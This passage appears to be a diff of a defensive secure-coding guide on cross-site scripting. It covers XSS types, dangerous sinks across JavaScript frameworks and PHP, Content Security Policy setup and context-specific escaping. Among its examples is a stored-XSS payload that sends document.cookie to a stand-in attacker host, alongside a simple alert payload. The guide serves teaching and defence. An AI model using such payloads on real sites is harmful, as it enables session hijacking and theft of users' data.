+
Payload in request → response → immediate execution
|
|
15
|
+
Vector : Malicious link sent to victim
|
|
16
|
+
Example : GET /search?q=<script>alert(1)</script>
|
|
17
|
+
|
|
18
|
+
TYPE 2 — STORED XSS (most dangerous)
|
|
19
|
+
Payload stored in DB → displayed to other users
|
|
20
|
+
Vector : Comment, profile, message, page title
|
|
21
|
+
Example : Comment with <script>document.location='evil.com?c='+document.cookie</script>
|
|
22
|
+
|
|
23
|
+
TYPE 3 — DOM XSS
|
|
24
|
+
Payload manipulates DOM directly via JavaScript
|
|
25
|
+
Vector : URL hash, postMessage, localStorage
|
|
26
|
+
Example : document.getElementById('msg').innerHTML = location.hash
|
|
27
|
+
|
|
28
|
+
TYPE 4 — BLIND XSS
|
|
29
|
+
Payload executed in an admin context invisible to attacker
|
|
30
|
+
Vector : Support fields, admin logs, internal forms
|
|
31
|
+
Tools : XSS Hunter for detection
|
|
32
|
+
|
|
33
|
+
═══════════════════════════════════════════════════════════════
|
|
34
|
+
PATTERNS TO DETECT
|
|
35
|
+
═══════════════════════════════════════════════════════════════
|
|
36
|
+
|
|
37
|
+
JAVASCRIPT DANGEROUS SINKS
|
|
38
|
+
element.innerHTML = userInput
|
|
39
|
+
element.outerHTML = userInput
|
|
40
|
+
document.write(userInput)
|
|
41
|
+
document.writeln(userInput)
|
|
42
|
+
element.insertAdjacentHTML('afterbegin', userInput)
|
|
43
|
+
eval(userInput)
|
|
44
|
+
new Function(userInput)
|
|
45
|
+
setTimeout(userInput) // If string
|
|
46
|
+
setInterval(userInput) // If string
|
|
47
|
+
location.href = userInput // Open redirect + XSS
|
|
48
|
+
location = userInput
|
|
49
|
+
location.assign(userInput)
|
|
50
|
+
|
|
51
|
+
VUE — DANGEROUS :
|
|
52
|
+
v-html="userInput" // Without sanitization
|
|
53
|
+
|
|
54
|
+
REACT — DANGEROUS :
|
|
55
|
+
dangerouslySetInnerHTML={{ __html: userInput }}
|
|
56
|
+
|
|
57
|
+
ANGULAR — DANGEROUS :
|
|
58
|
+
bypassSecurityTrustHtml(userInput)
|
|
59
|
+
[innerHTML]="userInput" // Angular sanitizes, but be careful
|
|
60
|
+
|
|
61
|
+
PHP/BLADE — DANGEROUS :
|
|
62
|
+
{!! $userInput !!}
|
|
63
|
+
<?= $userInput ?>
|
|
64
|
+
echo $userInput
|
|
65
|
+
|
|
66
|
+
═══════════════════════════════════════════════════════════════
|
|
67
|
+
CONTENT SECURITY POLICY (CSP)
|
|
68
|
+
═══════════════════════════════════════════════════════════════
|
|
69
|
+
|
|
70
|
+
CSP = Last line of defense against XSS.
|
|
71
|
+
Even if code is injected, CSP prevents its execution.
|
|
72
|
+
|
|
73
|
+
STRONG CSP (recommended)
|
|
74
|
+
Content-Security-Policy:
|
|
75
|
+
default-src 'self';
|
|
76
|
+
script-src 'self' 'nonce-{RANDOM_NONCE}';
|
|
77
|
+
style-src 'self' 'unsafe-inline';
|
|
78
|
+
img-src 'self' data: https:;
|
|
79
|
+
font-src 'self';
|
|
80
|
+
connect-src 'self' https://api.yourapp.com;
|
|
81
|
+
frame-ancestors 'none';
|
|
82
|
+
base-uri 'self';
|
|
83
|
+
form-action 'self';
|
|
84
|
+
upgrade-insecure-requests;
|
|
85
|
+
|
|
86
|
+
NONCE (for legitimate inline scripts)
|
|
87
|
+
// Server side : generate a unique nonce per request
|
|
88
|
+
const nonce = crypto.randomBytes(16).toString('base64')
|
|
89
|
+
|
|
90
|
+
// In CSP header :
|
|
91
|
+
script-src 'self' 'nonce-{NONCE}'
|
|
92
|
+
|
|
93
|
+
// In HTML :
|
|
94
|
+
<script nonce="{NONCE}">
|
|
95
|
+
// Legitimate inline script
|
|
96
|
+
</script>
|
|
97
|
+
|
|
98
|
+
COMMON CSP ERRORS
|
|
99
|
+
❌ unsafe-inline in script-src → CSP useless against XSS
|
|
100
|
+
❌ unsafe-eval in script-src → eval() allowed
|
|
101
|
+
❌ * in default-src → Too permissive
|
|
102
|
+
❌ data: in script-src → XSS via data URI
|
|
103
|
+
|
|
104
|
+
TEST YOUR CSP :
|
|
105
|
+
→ https://csp-evaluator.withgoogle.com/
|
|
106
|
+
→ Mozilla Observatory : https://observatory.mozilla.org/
|
|
107
|
+
|
|
108
|
+
═══════════════════════════════════════════════════════════════
|
|
109
|
+
REMEDIATION BY CONTEXT
|
|
110
|
+
═══════════════════════════════════════════════════════════════
|
|
111
|
+
|
|
112
|
+
HTML CONTEXT (between tags)
|
|
113
|
+
❌ <div>USERDATA</div>
|
|
114
|
+
✅ <div>{{ htmlspecialchars(userdata) }}</div>
|
|
115
|
+
✅ <div>{{ userdata }}</div> (Vue, Angular, Blade auto-escape)
|
|
116
|
+
✅ <div>{userdata}</div> (React auto-escape)
|
|
117
|
+
|
|
118
|
+
HTML ATTRIBUTE CONTEXT
|
|
119
|
+
❌ <div class="USERDATA">
|
|
120
|
+
✅ <div class="{{ attr(userdata) }}">
|
|
121
|
+
Warning : Even a non-event attribute can be dangerous
|
|
122
|
+
<div style="background: url(USERDATA)"> → XSS via url()
|
|
123
|
+
|
|
124
|
+
URL CONTEXT
|
|
125
|
+
❌ <a href="USERDATA">
|
|
126
|
+
✅ Validate that URL starts with http:// or https://
|
|
127
|
+
and not with javascript: or data:
|
|
128
|
+
|
|
129
|
+
JAVASCRIPT CONTEXT
|
|
130
|
+
❌ <script>var x = 'USERDATA';</script>
|
|
131
|
+
✅ Use JSON.stringify() for JS values
|
|
132
|
+
✅ Or better : never inject data into JS
|
|
133
|
+
Use API calls instead
|